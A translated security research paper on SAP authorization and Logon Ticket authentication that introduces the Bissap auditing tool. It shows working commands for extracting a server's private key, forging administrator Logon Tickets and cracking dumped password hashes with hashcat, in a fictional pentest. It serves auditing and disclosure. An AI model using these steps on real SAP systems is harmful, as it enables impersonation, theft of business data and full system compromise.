One Ticket to Rule Them All: Authorization and Authentication in SAP (English translation)

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Content (translated into English)

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One Ticket to Rule Them All: Authentication and Authorization in SAP

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Abstract. SAP ERP systems are closed systems that are complex to audit. Few public resources are available, and understanding their internal workings can be difficult. However, they are the primary hosts of critical business data, and their proper operation is essential to the smooth running of many major companies. In this article, Synacktiv explains two fundamental principles of an SAP system: user authentication and access control. This article also presents Bissap, a new open-source tool developed by Synacktiv

that can extract and analyze authorization data stored in an SAP system. To illustrate its use, a new exploitation method based on the Logon Ticket mechanism is presented and applied in a practical case study.

1 Introduction An SAP ERP system, also simply called SAP, is a software environment that assists companies with numerous business processes, such as inventory management, employee payroll, and customer management. By virtue of its role, such a system hosts and has access to a considerable amount of sensitive data, such as bank details, payslips, and industrial secrets. Moreover, these systems are regularly accessed through many different means, including shop tills, RF scanners in warehouses, and desktop computers, sometimes requiring special arrangements. The exposure of such an environment can be difficult to limit. In the interest of availability, an SAP system can easily become overexposed. Given their value and exposure, SAP systems are prime targets for attackers. However, SAP is a closed environment that is not readily accessible to cybersecurity companies. There is little security research on this complex environment. This is understandable: SAP software is paid software reserved for customer companies. Public tooling is limited and mostly aging, or even abandoned. 2 One Ticket to Rule Them All

Here, Synacktiv aims to contribute by clarifying two fundamental concepts of an SAP system: user authentication and authorization. Open-source tools for exploring and exploiting these concepts will be published following the presentation. Beyond the tooling developed, this document details the analysis of the proprietary “Logon Ticket” format, which has so far received little public documentation. We will demonstrate how this mechanism can turn an arbitrary file read on an SAP system into complete compromise of the system in its default configuration. Although little known, this “Logon Ticket” functionality is intended by the vendor and is therefore not a vulnerability. SAP administrators can nevertheless disable it to reduce the resulting risk and attack surface.

2 Technical Overview of SAP

An SAP installation is called a “system” and is referenced by a three-character identifier, an SID. A system consists of a set of services distributed across one or more servers and connected to a database. These services, also called instances, are identified by a two-digit code and play different roles within the system depending on their type. Each service can be configured to adjust its behavior. Technical parameters are mostly defined in specific files called profiles. These parameters can configure the state of exposed interfaces, service capacity, or the users’ password policy. Profile parameters can be changed by modifying the corresponding file from the underlying system or through a dedicated program while the system is running. Business-oriented functional parameters are stored in dedicated database tables and can be modified by interacting with the system. All these services have access to the system’s shared database. Within this database, there is a logical separation called a “client” or “mandant.” Each client is identified by a three-digit code. Because the different clients belong to the same system and therefore share the database, data segmentation is implemented through a specific column in the relevant tables. Most of the system’s data is segmented through A. Colléaux-Le Chêne 3

these clients. For example, a user is configured for a specific client and cannot log in to another one. However, this is not a security boundary. Cross-client administration tools exist and provide full access to the database. A user with administrator privileges in a particular client can therefore use these tools to access data belonging to the other clients. Today, data segmentation is implemented through the natural separation between systems: the different development stages and business units are separated into dedicated systems. Compromising one of these systems does not automatically compromise the rest of the data.

2.1 SAP Programs

One of the main services in an SAP system is the program execution platform. Like a Java virtual machine, this execution platform has a kernel that runs SAP-specific programs. These programs are written in ABAP, SAP's proprietary programming language, or, less commonly, in Java. These programs provide most of the functionality used by users. The graphical interface, data entry programs, and a substantial proportion of the administration tools run through this platform. These programs also enforce the logical separation between clients: when a program attempts to access data in the database, it automatically filters the results to include only data belonging to the user's client. An SAP system comes with a set of basic programs and functionality. This set is called SAP BASIS and can be extended by installing specialized business modules. These modules contain numerous programs related to a particular area. A non-exhaustive list of these business modules is presented below. — FI (Financial Accounting) — Accounting and bank account management. — CRM (Customer Relationship Management) — Customer management, marketing, and sales. — HR (Human Resources) — Management and optimization of HR processes. 4 One Ticket to Rule Them All

2.2 Interacting with SAP

An SAP system exposes many interfaces, often through proprietary protocols. One example is the DIAG interface, which provides graphical access to the system. The SAP GUI software is used for this purpose, as shown in Figure 1.

Fig. 1. Using the SAP GUI software

Once a user has logged in, they perform actions by executing “transactions.” A transaction is a short code representing a program together with a few preset parameters. In the SAP GUI interface, a transaction can be executed by entering its code directly or by clicking the corresponding button in the menu on the left. There are very many transactions[1] in SAP. Examples include: — BP (Business Partner) — Supplier and customer management. — DBACOCKBIT, DB02, ST04 — Database administration. — RZ10, RZ11 — Permanent or temporary editing of profile parameters. — SA37, SA38, SE37, SE38 — Executing and writing programs or functions. 1 Nearly 10,000 transactions were counted in a default installation. A. Colléaux-Le Chêne 5

— SE16, SE16N… — Reading database tables. — SU01, PFCG — Role and user administration. For more information about standard transactions and programs, the following resources may be particularly useful: — https://help.sap.com/docs/SUPPORT_CONTENT/basis/ 3354611688.html —

https://www.se80.co.uk/ Transactions are not suitable for programmatic access. The system's main API uses the RFC (Remote Function Call) interface, which allows certain functions in SAP programs to be executed. This RFC interface can be used for communication between systems or by external software interacting with SAP. An example of a modern SAP landscape is presented in Figure 2. It shows several systems distributed across different environments. Note also that several servers can be allocated to one system, allowing the load to be distributed when necessary. In addition, business units are separated into dedicated systems to better isolate their different data.

Fig. 2. Example distribution of SAP systems 6 One Ticket to Rule Them All

3 Authorization in SAP

Not all users are equal within a system. They can be assigned permissions that expand the range of actions available to them. Every action performed by a user requires one or more specific authorizations. This pervasive use of authorizations is made possible by the authorization system's fine granularity. Every authorization has a particular type and consists of different parameters depending on that type. For example, one authorization that permits access to a database table is called S_TABU_NAM and has two parameters: the access type (ACVT) and the table name (TABLE). SAP programs that provide direct access to tables[2] check this access before retrieving the results. If the user running the program attempts to access a table they are permitted to access, access is approved and the data is displayed to the user. It is also possible to specify more detailed, business-specific authorizations. For example, the I_SWERK authorization restricts the equipment a technician can access for maintenance operations. In practice, authorizations are granted in groups to let users perform a set of similar actions. These authorization groups are called profiles and can be assigned individually to users. Profiles are usually contained within a role, which represents a particular position within the company. Examples might include a “Human Resources” role or an “Inventory Management – France” role. These roles and profiles can contain other roles and profiles. In that case, they are called composite roles and profiles. All these relationships and attributes are stored in specific tables in the system database. Although there is no official documentation about the tables used, several articles on the SAP forum provide this technical information. This allows us to draw up the list of tables to analyze when auditing permissions, presented in Table 1. Authorizations are not an intrinsic mechanism of the SAP kernel; they are enforced by the programs executing the user's request, before access to the kernel. [2] For example, transaction SE16. A. Colléaux-Le Chêne 7

Fig. 3. SAP authorization hierarchy. © 2025 SAP SE or an SAP affiliate company. All rights reserved.

```
Name      Purpose
          AGR_1016 Links roles to profiles.
          AGR_1251 Links roles to authorizations.
          AGR_PROF Links roles to profiles.
          AGR_TEXTS Role descriptions.
          AGR_USERS Assigns roles to users.
          TDDAT     Database table classes.
          TSTC      Transactions available in the system.
          USOBHASH Used to display authorizations.
          USR02     General user information.
          USR11     Profile descriptions.
          UST04     Assigns profiles to users.
          UST10C    Assigns profiles to composite profiles.
          UST10S    Assigns profiles to authorization objects.
          UST12     Assigns authorization objects to fields.
```

Table 1. Tables used for permission analysis. 8 One Ticket to Rule Them All

This means that a running program necessarily has full access to the system and must impose its own restrictions to comply with a particular authorization. For example, a relevant excerpt from the program used by SE16 is shown in Listing 1. It shows checks for two authorization objects: S_TABU_NAM and S_TABU_DIS. If either is validated, access to the table is granted. AUTHORITY-CHECK is an internal procedure in the ABAP runtime environment that checks for the presence of an authorization object, supplied as a parameter, in the user's execution environment. In other words, this procedure checks whether the user has the requested authorization. Its operation can be imagined as similar to the Python pseudocode in Listing 2.

4 State of the Art in SAP Tooling

Given the myriad different permissions, the complexity of the relationships connecting users to their effective authorizations, and the difficulty of obtaining reliable documentation, manually auditing permissions within an SAP system is difficult. Dedicated tools are therefore necessary. Several tools already exist for auditing SAP systems. In particular, SAP provides native tools that are integrated into its ecosystem and are sufficiently expressive for auditors' needs in this respect. Specifically, users can be listed using several criteria simultaneously. These selection criteria can also be saved in the system and rerun periodically to track how dangerous permissions accumulate over time. However, they are stored on the system and are therefore better suited to SAP administrators than to auditors who need them occasionally. Apart from these native tools, there are no third-party open-source tools for permission analysis. Nevertheless, many tools exist or have existed that cover various aspects of SAP security. — Sapyto, released in 2007, last updated in 2009 — Bizsploit, a reworking of Sapyto — Metasploit modules dedicated to reconnaissance or vulnerability exploitation — pysap, released in 2012, last updated in 2023, specific to SAP network protocols Most third-party tools are developed for

penetration testing and therefore take a “black-box” approach, where the objective A. Colléaux-Le Chêne 9

Listing 1: Authorization checks for transaction SE16

```
AUTHORITY-CHECK OBJECT 'S_TABU_NAM'
        ID 'ACTVT'     FIELD pd_actvt
        ID 'TABLE'     FIELD pd_table.

" If an S_TABU_NAM authorization was found, return success.
IF sy-subrc = 0.
  pd_ret_act = pd_actvt.
  RETURN.
ELSE.
  " Otherwise, check the S_TABU_DIS authorization.
  AUTHORITY-CHECK OBJECT 'S_TABU_DIS'
         ID 'ACTVT'     FIELD pd_actvt
         ID 'DICBERCLS' FIELD pd_group.
  IF sy-subrc = 0.
    pd_ret_act = pd_actvt.
    RETURN.
  ENDIF.
ENDIF.

  " Displaying an error...
```

Listing 2: Authorization validation algorithm

```
def AuthorityCheck(object_type, fields):
    for existing_object, existing_fields in user_authorisations():
        if object_type != existing_object:
            continue
        is_satisfied = True
        for field_name, field_value in fields:
            if field_name not in existing_fields:
                is_satisfied = False
                break

              existing_value = existing_fields[field_name]
              # 1. Exact match
              if field_value == existing_value.VON:
                  continue
              # 2. Prefix match
              if existing_value.VON[-1] == '*' and
              → field_value.startswith(existing_value[:-1]):
                  continue
              # 3. Interval match (both bounds are inclusive)
              if existing_value.VON <= field_value <= existing_value.BIS:
                  continue
              # If nothing matched, the object is not granting access.
              is_satisfied = False
              break

          if is_satisfied:
              return True

      return False
```

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is to attack exposed services and obtain initial access. However, there is a substantial need for white-box SAP audits, and these tools are not suited to that purpose. To perform these audits under the best conditions, we also want maximum flexibility and minimal dependence on the SAP system being audited. This explains the desire to avoid native tools, which might behave differently depending on the system version or might not be present at all. Being able to conduct the audit offline would also be useful. Native tools require constant access to the system, which is not necessarily desirable.

5 Introducing Bissap

To fill this gap, Synacktiv developed an SAP permission auditing tool: Bissap. This tool can retrieve part of the system's database and flatten (denormalize) the hierarchy of authorizations granted to users. Using this database extract, Bissap can check for dangerous permissions, or combinations of permissions, that allow a user to obtain

additional access or access sensitive data. As an example of dangerous permissions, if a user can enable debug mode in their SAP session, they can run a program in debug mode, allowing them to modify the values of the program's internal variables and bypass authorization checks.[3] They can therefore act as an administrator with full privileges. Debug mode can be enabled by executing the \h pseudo-transaction and requires the S_DEVELOP authorization object with the OBJTYPE field set to DEBUG and ACTVT set to 02 (Change). Similarly, if a user can execute transaction SA38, they can attempt to execute arbitrary programs. If they also have the permissions required to execute the RSBDCOS0 program through that transaction, they can execute commands on the underlying OS and take control of the server and system. During data collection, Bissap creates a dedicated table that directly links simple and composite profiles to all their associated authorizations. This preparatory work retains considerable flexibility regarding the type of object being searched for, such as a user or role, while greatly simplifying the search process. 3 In Listing 1, this is sy-subrc. A. Colléaux-Le Chêne 11

There is, however, a substantial cost to bear in mind: denormalizing the data duplicates many values, and the final database size can increase considerably.[4] Bissap's process consists of three stages:

1. The first stage, performed online, collects data from the system's database.
2. The second imports the collected raw data into an SQLite database so that it can be manipulated.
3. The third analyzes this data to identify roles or users with dangerous permissions.

5.1 Data Collection with Bissap

Given the diversity of environments encountered during an audit, it is important to provide considerable flexibility at the different stages of the Bissap process. The ideal situation is direct access to the database used by the system. In that case, an SQL script adapted to the DBMS is sufficient, and the result is retrieved in an (almost) standard format. However, firewalls frequently block direct database access, making it necessary to use the SAP interface to retrieve the data. The next-best solution is to use a database administration program available on the system (DBACOCKPIT, ST04), write the SQL queries through its interface, and export the results in CSV or Excel format. Finally, if SQL administration access cannot be obtained, limited extraction is possible through one of SAP's table viewers (SE16). However, some tables cannot be read through this program, and the results are restricted to the current user's client. Both the second and third solutions require interaction with the SAP GUI graphical interface, which we initially wanted to avoid. To address this issue, Synacktiv provides AutoHotKey scripts [1] capable of automatically interacting with the graphical interface specifically to collect table data. 4 In the most extreme case I encountered, the size doubled to reach 10 GB. 12 One Ticket to Rule Them All

Listing 3: AutoHotKey collection procedure

```
# bissap collect -t gui
1. Copy the directory `dump_table_autohotkey` to your workstation
   running SAP GUI
2. Connect to the system and execute a supported transaction (SE16,
   DBACOCKPIT, ST04). If running DBACOCKPIT or ST04, go
   Diagnostics / SQL Command Line.
3. Install AutoHotKey v2 (https://www.autohotkey.com/v2/) and
   execute the appropriate script.
! Because the scripts relies on exact image recognition, the
   process can be brittle. For best results, run SAP GUI on a
   Windows VM, with a resolution of 1600 x 900 and SAP GUI with
   the default "Belize" theme
! If the script fails, you can dump the tables manually using the
   list in `dump_table_autohotkey/tables.txt`.

   At the end of the process, the result will be found in
    `Documents\SAP\SAP GUI`.
```

5.2 Exploiting permissions

The dangerous permissions reported by Bissap fall into three categories: — Privilege escalation. — Access to sensitive business or technical tables. — Sensitive transactions. Bissap comes with a knowledge base identifying dangerous permissions or combinations of permissions. In particular, the tool checks for administration permissions such as S_DEVELOP, as well as similar permissions that may have been granted inadvertently. With Bissap, an auditor can now quickly identify overly permissive configurations or potential attack vectors, such as reading files from the server. However, identifying a vulnerability is only part of the problem. To continue the intrusion, or simply to put the vulnerability into context, this primitive must be turned into an effective exploit to obtain actual administrator privileges. Several programs allow files to be downloaded from the server's disk. For example, transaction CG3Y in the EHS (Environment, Health and Safety) module provides this functionality. This program may be assigned to occupational health and safety inspectors as part of a generic authorization for the module. A. Colléaux-Le Chêne 13

During several permission audits, Synacktiv identified authorizations associated with these programs that had been granted to standard users. Although the ability to download arbitrary files is inherently dangerous, there was not yet a public methodology for systematically escalating privileges. To fill this gap, Synacktiv developed a methodology that consists of downloading the server's cryptographic secrets and using them to forge proof of authentication, thereby impersonating a system administrator. This method uses the Logon Ticket mechanism to achieve that objective.

6 Authentication with Logon Tickets

To access their session, an SAP user usually has to provide three pieces of information: — Client. — Username. — Password. Using this information, the program responsible for authentication checks for a user with these details. The password is stored as a hash in the database, potentially using algorithms with varying levels of security. Other authentication mechanisms can also be used, such as Kerberos or OIDC authentication. One such mechanism is the Logon Ticket. Now considered a legacy feature that is still enabled by default, the Logon Ticket mechanism was intended to implement SAP-specific Single Sign-On: when a user logs in to an SAP system, a Logon Ticket containing the login information is generated and signed by the system before being transferred to the user. When that same user wants to log in to another system, and a trust relationship exists between the new system and the original one, the new system can retrieve the previously generated Logon Ticket and verify its signature to log the user in. The login information is retrieved directly from the Logon Ticket. In particular, the Logon Ticket contains neither the password nor its hash. Only the client and username are used for authentication. A user can therefore have different passwords on different systems. This also means 14 One Ticket to Rule Them All

that a ticket remains valid even after a password change or logout. Its validity is nevertheless time-limited, with an expiration of eight hours by default. Tickets can also be used for direct communication between two systems, where their lifetime is very short, approximately five minutes. In that context, they are called “Assertion Tickets.” The generation and acceptance of Logon Tickets are controlled by the login/create_sso2_ticket and login/accept_sso2_ticket profile parameters. By default, generation is not enabled, but tickets are accepted as an authentication method. In practice, Logon Tickets are used relatively little for user authentication, but they are not disabled either. Thus, most real-world SAP systems do not generate tickets at login, while accepting any valid ticket. The private key used to sign a ticket belongs to the system's key pair, which is used for most of its signing operations. This key pair is stored in plaintext in the system's filesystem, in a file using the proprietary PSE format, equivalent to a PKCS #12 certificate container. Moreover, this PSE file is stored at a standard path that can quickly be guessed. Finally, a system's public key is always in its trust store. These characteristics open the way to a new privilege escalation method. A user who can download a file from the server can exfiltrate the system's private key and use it to sign an arbitrary Logon Ticket. That user can therefore impersonate any user on the victim system and on every system that trusts it. Although this attack is theoretically possible, putting it into practice was not straightforward. In particular, the Logon Ticket uses a proprietary, undocumented format. It consists of a TLV (Type, Length, Value) structure, where each entry corresponds to information about the logged-in user, the issuing system, or the ticket itself. The ticket's final entry contains a signature over the other entries. This signature is based on CMS (Cryptographic Message Syntax), which will be described later. However, the signature follows a very specific format that does not fully comply with the standard. Finally, this structure is encoded using a slightly modified base64 algorithm. This new escalation method turns a simple file download into privilege escalation. This was intuitively A. Colléaux-Le Chêne 15

recognized as dangerous, but no public method existed for achieving it.

6.1 Reverse-engineering process Like many SAP formats and protocols, the Logon Ticket format is not formally documented. Moreover, although an official library is available for SAP customers to download, it is not accessible to the general public. However, I was not the first person to take an interest in these tickets, and several explanations, sometimes contradictory, are available online [3, 5, 7]. Documentation on using SAP's library is also available online [4]. Unfortunately, it does not describe the ticket format, but it provides information about some of the values used, particularly the different possible item types. One example of contradictory documentation concerns the exact format used to encode the ticket. Many sources indicate that the base64 algorithm is used, which is not entirely accurate. In reality, the alternative character + is replaced with !, and the result is then URL-encoded. Using legitimate tickets generated by a test system, these public resources can be used to decode tickets and list the different items they contain. A script capable of analyzing a Logon Ticket was published following this research [6] and is presented in Listing 4.

Listing 4: Analysis of a legitimate Logon Ticket.

```
# ./decode_sap_logon_ticket.py AjQxMDM[...]aG6RQ%3D%3D \
    --extract-data-to-sign ticket.data \
    --extract-signature ticket.sig
Codepage: 4103 (encoding = utf-16-le)
User name: SAP*
Client: 001
SID: NPL
Creation time: 202510231230
Valid time (hours): 24
Signature: 3081f806092a864886f70d010702a081ea3081e7020101310b3009
06052b0e03021a0500300b06092a864886f70d0107013181c73081c4020101301
a300e310c300a060355040313034e504c02080a20170219202601300906052b0e
03021a0500a05d301806092a864886f70d010903310b06092a864886f70d01070
1301c06092a864886f70d010905310f170d323531303233313233033355a3023
06092a864886f70d010904311604141ceda239630ec8ff242bb1ebee555b7c4ac
b96aa300906072a8648ce380403042e302c021479d09b63712ea3be71823f9707
5c3ac02c06bacc02141a604907e800b28e655a9820da08f2eef9a1ba45
```


The signature is always the last element in the TLV structure. It therefore signs the remaining ticket elements and is appended to the end of the ticket. As stated previously, the signature uses the CMS format. CMS is an IETF standard for signing, hashing, authenticating, or encrypting data. It is based on PKCS #7 syntax, and its structure is described in ASN.1 in Listing 5.

Listing 5: Dissecting the Logon Ticket signature

```
# file ticket.sig
ticket.sig: DER Encoded PKCS#7 Signed Data
# openssl cms -in ticket.sig -inform DER -cmsout -print
CMS_ContentInfo:
  contentType: pkcs7-signedData (1.2.840.113549.1.7.2)
  d.signedData:
    version: 1
    digestAlgorithms:
        algorithm: sha1 (1.3.14.3.2.26)
        parameter: NULL
    signerInfos:
        version: 1
        d.issuerAndSerialNumber:
          issuer:            CN=NPL
          serialNumber: 729608437412931073
        digestAlgorithm:
          algorithm: sha1 (1.3.14.3.2.26)
          parameter: NULL
        signedAttrs:
            object: contentType (1.2.840.113549.1.9.3)
            set:
              OBJECT:pkcs7-data (1.2.840.113549.1.7.1)
            object: signingTime (1.2.840.113549.1.9.5)
            set:
              UTCTIME:Oct 23 12:30:35 2025 GMT
            object: messageDigest (1.2.840.113549.1.9.4)
            set:
              OCTET STRING:
                 0000 - 1c ed a2 39 63 0e c8 ff-24 2b b1 eb ee
                 000d - 55 5b 7c 4a cb 96 aa
        signatureAlgorithm:
          algorithm: dsaWithSHA1 (1.2.840.10040.4.3)
          parameter: <ABSENT>
        signature:
          0000 - 30 2c 02 14 79 d0 9b 63-71 2e a3 be 71 82 3f
          000f - 97 07 5c 3a c0 2c 06 ba-cc 02 14 1a 60 49 07
          001e - e8 00 b2 8e 65 5a 98 20-da 08 f2 ee f9 a1 ba
          002d - 45
```

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Using OpenSSL, which supports the CMS format, it is possible to confirm the validity of the original signature. We can also generate a new signature and verify that it is valid against the legitimate Logon Ticket's data. The procedure is detailed in Listing 6.

Listing 6: Manipulating signatures with OpenSSL

```
# openssl cms -inform der -in ticket.sig -verify -noverify \
    -content ticket.data -certfile certificate.crt -binary
CMS Verification successful
410SAP*001NPL202510231230
# faketime '2025-10-23 12:30:35 UTC' \
    openssl cms -sign -in ticket.data -out ticket.sig_new \
    -binary -md sha1 -outform der -nocerts -nosmimecap \
    -signer certificate.crt -inkey private.key
# openssl cms -inform der -in ticket.sig_new -verify -noverify \
    -content ticket.data -certfile certificate.crt -binary
CMS Verification successful
410SAP*001NPL202510231230
```

However, although OpenSSL validates the signature, a ticket using this signature will not be accepted by SAP, without any particular error message being displayed to the user. After some investigation, it turns out that the format required by SAP and the one generated by OpenSSL differ slightly. The ASN.1 structures of the CMS signatures are compared in Listing 7.

Listing 7: Comparison of the ASN.1 structures of legitimate and fabricated signatures.

```
# diff -c ticket.sig.text ticket.sig_new.text
*** ticket.sig.text
--- ticket.sig_new.text
***************
*** 4,10 ****
      digestAlgorithms:
          algorithm: sha1 (1.3.14.3.2.26)
!         parameter: NULL
--- 4,10 ----
      digestAlgorithms:
          algorithm: sha1 (1.3.14.3.2.26)
!         parameter: <ABSENT>
***************
*** 19,25 ****
          digestAlgorithm:
            algorithm: sha1 (1.3.14.3.2.26)
!           parameter: NULL
--- 19,25 ----
          digestAlgorithm:
            algorithm: sha1 (1.3.14.3.2.26)
!           parameter: <ABSENT>
```

Thus, we note that in the digestAlgorithm sections, SAP's version supplies the parameter field with a NULL value, whereas OpenSSL's version omits this field. This difference stems from a drafting error in the original RFC, which stated that the parameter subfield within a digestAlgorithm field was mandatory, even though it is normally optional. This error has since been corrected, but many implementations, such as the one used by SAP, have not been updated and require the parameter field to be present. Consequently, OpenSSL or other modern libraries that generate CMS cannot be used directly, because this format is no longer standard. To generate a signature valid for SAP, the ASN.1 structure generated by the openssl call must be modified,[5] or the signature must be constructed manually. For simplicity, the second option was chosen for signing Logon Tickets.

6.2 Using the Python scripts

Python scripts were published following this research [6]. They allow a ticket's contents to be inspected and, above all, a ticket to be generated from the server's private key and its associated certificate. An example of using this script is shown in Listing 8. The only prerequisite for exploitation is possession of the System PSE containing the targeted system's private key. This ticket can be used through one of SAP's web interfaces by creating a cookie named MYSAPSSO2 whose value is the generated ticket. In accordance with the normal operation of Logon Tickets, simply reload the webpage after setting the cookie. Once the page has reloaded, a session matching the username specified in the ticket will be created automatically. Access can differ depending on the interface accessed, and not all interfaces are useful. Full access to SAP functionality is possible through the URL /sap/bc/gui/sap/its/webgui, which corresponds to the web version of the SAP GUI interface. From this interface, transactions can be executed, allowing the system to be compromised. An example of compromise is shown in Figure 4.

5 Because these attributes are not part of the “signed attributes,” the cryptographic signature remains valid after this modification. A. Colléaux-Le Chêne 19

Listing 8: Using forge_sap_logon_ticket.py

```
# sapgenpse export_p12 -p SAPSYS.pse SAPSYS.p12
# openssl pkcs12 -nocerts -legacy -nodes \
    -in SAPSYS.p12 -out private.key
# openssl pkcs12 -clcerts -nokeys -legacy \
    -in SAPSYS.p12 -out certificate.crt
# ./forge_sap_logon_ticket.py \
    --system NPL \
    --client 001 \
    --username 'SAP*' \
    --cert certificate.crt \
    --key private.key
AjQxMDMBAAhTAEEAUAAqAAIABjAAMAAxAAMABk4AUABMAAQAGDIAMAAyADYAMAAxAD
AANQAxADYAMAA1AAUABAAAABj/APswgfgGCSqGSIb3DQEHAqCB6jCB5wIBATELMAkG
BSsOAwIaBQAwCwYJKoZIhvcNAQcBMYHHMIHEAgEBMBowDjEMMAoGA1UEAxMDTlBMAg
gKIBcCGSAmATAJBgUrDgMCGgUAoF0wGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAc
BgkqhkiG9w0BCQUxDxcNMjYwMTA1MTYwNTE1WjAjBgkqhkiG9w0BCQQxFgQUufjke/
KlYfBi3ZV%21BsEK/KlUg7swCQYHKoZIzjgEAwQuMCwCFEh%21UvXDcqX7SO%21ZsN
RpTFebooTpAhQWIau1jAw2WJj4TwQ0Ci75Vq/qLA%3D%3D
```

Fig. 4. Command execution through the SAP web interface 20 One Ticket to Rule Them All

7 Practical application

To put all these concepts into practice, we can work through a fictional penetration testing scenario involving an SAP system. A standard user account is provided, but its exact privileges are unknown. The objective is to access the IBANs stored on the server. First, we map the services exposed on the network. A simple nmap network scan is not particularly suitable, because standard SAP ports usually depend on the corresponding instance number and are not among the usual ports tested. We can use nmap-sap [2] to adapt the targeted ports and use appropriate identification scripts.

Listing 9: Network analysis of an SAP system

```
# cd nmap-sap
 1
# nmap -n --open --datadir . -sV -p `./sap_ports.py` vhcalnplci
 2
3 Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-31 18:06 CEST
4 Nmap scan report for vhcalnplci (192.168.100.2)
5 Host is up (0.000032s latency).
6 Not shown: 6562 closed tcp ports (conn-refused)
7 PORT       STATE SERVICE            VERSION
8 3200/tcp   open sapdisp             SAP ABAP Dispatcher
9 3201/tcp   open sapjavaenq          SAP Enqueue Server
10 3300/tcp   open sapgateway          SAP Gateway (Monitoring mode
  →   disabled)
11 8000/tcp   open sapicm              SAP Internet Communication
  →   Manager
12 8101/tcp   open sapmshttp           SAP Message Server httpd
  →   release 753 (SID NPL)
```

This network scan identifies three exposed interfaces that allow interaction with the SAP system: — The ABAP Dispatcher service on port 3200 provides access through SAP GUI. — The SAP Gateway service on port 3300 allows RFC execution. — The Internet Communication Manager service on port 8000 is the web server hosting numerous web applications, including the web version of SAP GUI. We could try executing RFC functions or accessing one of the web applications, but for this demonstration we will use the SAP GUI graphical interface. When connecting this way, the graphical interface looks similar to Figure 5. A. Colléaux-Le Chêne 21

Fig. 5. SAP GUI login screen

Once logged in, it is useful to determine the privileges granted to our user. One way to discover these privileges is to enumerate the possible actions by attempting to execute them. Starting with a list of known transactions, we quickly find that transaction SE16 is permitted, whereas others, such as RZ10 and BP, are forbidden. Transaction SE16 corresponds to a generic data-reading program and allows tables to be read by specifying their names. The procedure for enumerating the tables accessible to our user remains the same: we attempt to access the tables one by one and note those that are permitted. Access to business-sensitive tables, such as the IBAN table, is blocked, but we note that the user configuration tables are accessible.[6] We could continue trying to enumerate all tables we are permitted to read or the various transactions, but this is an inconvenient process that can quickly become time-consuming. We can also try retrieving the various tables needed to run Bissap and thereby obtain a complete list of authorizations.

6 What luck! 22 One Ticket to Rule Them All

Using Bissap's AutoHotKey collection tool, the required tables are extracted and can be imported onto our local workstation. An excerpt of the collection process is shown in Figure

6.

Fig. 6. Automatic table download through SE16

When the collection process is complete, a directory containing the collected table data is created. It can be imported directly through Bissap (Listing 10). A local SQLite database is created. It contains all the tables collected by the previous script. Generic SQLite tools can therefore be used to query this database (Listing 11). Using this data, we can retrieve the user hashes stored in the USR02 table and attempt to crack them (Listing 12). If passwords are recovered, we can log in as those users.[7] The hashes use the {x-issha, 1024} format, which means applying the SHA-1 function repeatedly for 1024 iterations. Although this format is not state of the art,[8] it affects the cracking process, which can therefore take some time. While waiting for the results, we can audit the different users' permissions (Listing 13). 7 In reality, recovering the hashes is not quite the whole story. Some of the users retrieved may be disabled or may not have permission to log in through SAP GUI. 8 The state of the art is {x-issha-512, 15000}, which applies 15000 iterations of SHA-512. A. Colléaux-Le Chêne 23

Listing 10: Importing the collected data

```
# bissap -d NPL.sqlite import -i dump_ahk/
Importing table AGR_1016 from Tab-separated file.
Importing table AGR_1016B from Tab-separated file.
[...]
Importing table UST12 from Tab-separated file.
```

Listing 11: Listing the collected tables through SQLite3

```
# sqlite3 NPL.sqlite '.tables'
AGR_1016     AGR_USERS     TDDAT        USR02        USRPWDHISTORY
AGR_1016B    DBCON         TPFET        USR10        UST04
AGR_1251     PROFILE_AUTHS TSTC         USR11        UST10C
AGR_PROF     RFCDES        USH02        USR12        UST10S
AGR_TEXTS    RSECTAB       USOBHASH     USR40        UST12
```

Listing 12: Retrieving and cracking user hashes

```
# sqlite3 NPL.sqlite \
    "SELECT printf('%s:%s', BNAME, PWDSALTEDHASH) FROM USR02" \
    | tee hashes.txt
BWDEVELOPER:{x-issha, 1024}97RSLvHY8Az5idQApp+hfT2GMUIj3BsVhYgjO3ioSGI=
DDIC:{x-issha, 1024}TFEtgLrCv62hXjVn97HxgNqmsv/kObwmQoVyJTMXoCg=
DEVELOPER:{x-issha, 1024}jXU4URxPhBMeESwKWf84Ff5zgYfS0SdPZj0Mi+zeaeY=
JOHN.TITOR:{x-issha, 1024}Y9QlAvbcBCM+WLE8+9idGFLkrCUZ139WElMWT//s8J4=
SAM.FISHER:{x-issha, 1024}E3S/aV2sWK/AcqvM6wkofmSTBxnFNQ4pIpND5rojDxc=
SAP*:{x-issha, 1024}DRM3SNvfwWWsDf71QYyx+5L0AkN3l0nyKgPjvlBsPqE=
# hashcat --username hashes.txt rockyou.txt -m 10300
[...]
```

Listing 13: Auditing the system's users

```
# bissap -d NPL.sqlite -m 001 audit
BWDEVELOPER is vulnerable to 12 RCE(s). (SE38, [...])
BWDEVELOPER can read 17 sensitive tables.
BWDEVELOPER can execute 19 "juicy" transactions. (RSUDO, [...])
DDIC is vulnerable to 12 RCE(s). (SE38, [...])
DDIC can read 17 sensitive tables.
DDIC can execute 19 "juicy" transactions. (RSUDO, [...])
JOHN.TITOR is vulnerable to 1 RCE(s). (ARCHIVFILE_SERVER_TO_CLIENT)
DEVELOPER is vulnerable to 12 RCE(s). (SE38, [...])
DEVELOPER can read 17 sensitive tables.
DEVELOPER can execute 19 "juicy" transactions. (RSUDO, [...])
SAP* is vulnerable to 12 RCE(s). (SE38, SM69+SM36, [...])
SAP* can read 17 sensitive tables.
SAP* can execute 19 "juicy" transactions. (RSUDO, [...])
```


The output can be somewhat difficult to digest in some cases. This happens because Bissap reports all dangerous users, including the system administrators. Fortunately, we can use the JSON output to filter the results according to arbitrary criteria. Here, we remove users who have a large number of privileges and are therefore administrators. The objective of this search is to identify dangerous permissions granted to standard users—in other words, misconfigurations.

Listing 14: Highlighting standard users

```
# bissap -d NPL.sqlite -m 001 --json audit \
  | jq -r 'select((.rce | length > 0) and (.rce | length < 10)) |
  →  .bname'
JOHN.TITOR
```

